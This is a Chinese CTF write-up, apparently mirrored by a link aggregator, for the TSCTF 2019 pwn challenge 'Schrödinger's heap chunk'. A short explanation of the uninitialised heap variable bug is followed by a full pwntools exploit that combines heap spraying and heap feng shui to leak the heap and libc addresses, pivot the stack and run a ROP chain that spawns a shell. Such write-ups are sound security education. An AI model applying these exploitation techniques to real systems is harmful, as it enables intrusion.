7

TSCTF 2019 Pwn 薛定谔的堆块

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/18/schrodinger/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

TSCTF 2019 Pwn 薛定谔的堆块

发表于 2020-05-18

| 分类于 CTF/Pwn

这是一道堆喷思想和堆风水思想结合的题目,漏洞点是堆上变量初始化。利用方式和本题代码强相关,通过堆喷思想控制堆上的未初始化的变量,然后综合利用堆风水和堆喷泄露出堆块的布局信息以及libc基址,然后在利用堆喷思想劫持控制流并完成栈迁移到堆上,最后进行ROP即可getshell。

以下exp成功率不高,可能几分钟后才能getshell

from pwn import *
context(arch='i386',os='linux')
myelf = ELF("./brother")
io = process(myelf.path)

sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
show        = lambda start,end            :  (sla(">>> ","2"),sla("index : ",str(start)),sla("index : ",str(end)))
delete      = lambda                      :  (sla(">>> ","3"))
hack        = lambda index                :  (sla(">>> ","5"),sla("index : ",str(index)))

def add(size,data,type):
    sla(">>> ","1");sla("note : ",str(size))
    for i in range(16):(sla("data : ",data),sla("type : ",str(type)))

def sub(addr):
    add(100,p32(addr)*20,3)
    delete()
    add(8,'',8)

while 1: 
    try: 
        io = process(myelf.path)
        # update mmap_threshold
        add(0x20000,'x',1);delete()

        # heap spray
        for i in range(0x10):
            add(0x20000,'\x57'*0x1ffff,1)

        # 0x57575757 - 1
        sub(0x57575757);hack(256)

        # leak heap to handler 0x57575757
        point = 0;pos = 0
        for i in range(255):
            show(i,i)
            a = io.recvuntil("1. ")
            if "V" in a:
                log.warn("point: "+str(i))
                point = i
                log.warn("pos: "+str(a.find("V")-12))
                pos = a.find("V")-12
                break

        # leak heap start
        chunk_addr=0x57575757-pos
        big_chunk = int(point/16)
        heap_start = 0

        for i in range(0x10):
            print(i)
            i = i + 1
            addr = chunk_addr + 0x20008*i
            print(hex(addr))
            sub(addr)
            hack(256+i*16)
            show((big_chunk+1)*16,(big_chunk+2)*16-1)
            a = io.recvuntil("1. ")
            if "V" in a:
                log.warn("line: "+str(hex(addr)))
                log.warn("heap_start: "+str(hex(addr-(big_chunk+1)*0x10*0x20008)))
                heap_start = (addr-(big_chunk+1)*0x10*0x20008)
                fastbin = heap_start+0x100*0x20008
                sub(fastbin)
                hack(256+(i+1)*16)
                break

        # leak libc 
        show(256,271)
        io.recvuntil("\xff")
        libc = u32('\xff'+io.recv(3))-0x1b26ff
        log.warn("libc: "+str(hex(libc)))

        for i in range(0x20):
            delete()

        # stack priovt
        magic_gadget1 = 0x00164301
        magic_gadget2 = 0x00100531
        system_offest = 0x3ada0
        binsh_addr = 0x15ba0b
        ropchain = p32(libc + magic_gadget2) + p32(0) + p32(libc+ magic_gadget1) + 'A'*3 + p32(libc + system_offest) + p32(0) + p32(libc + binsh_addr)

        # heap spray heap_start+4
        add(0x1000,p32(heap_start+4)*250,1)
        delete()

        # put ropchain on heap_start
        add(32,ropchain,8)

        # trigger call heap_start+4
        hack(0)
        io.interactive()
    except:
        pass

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK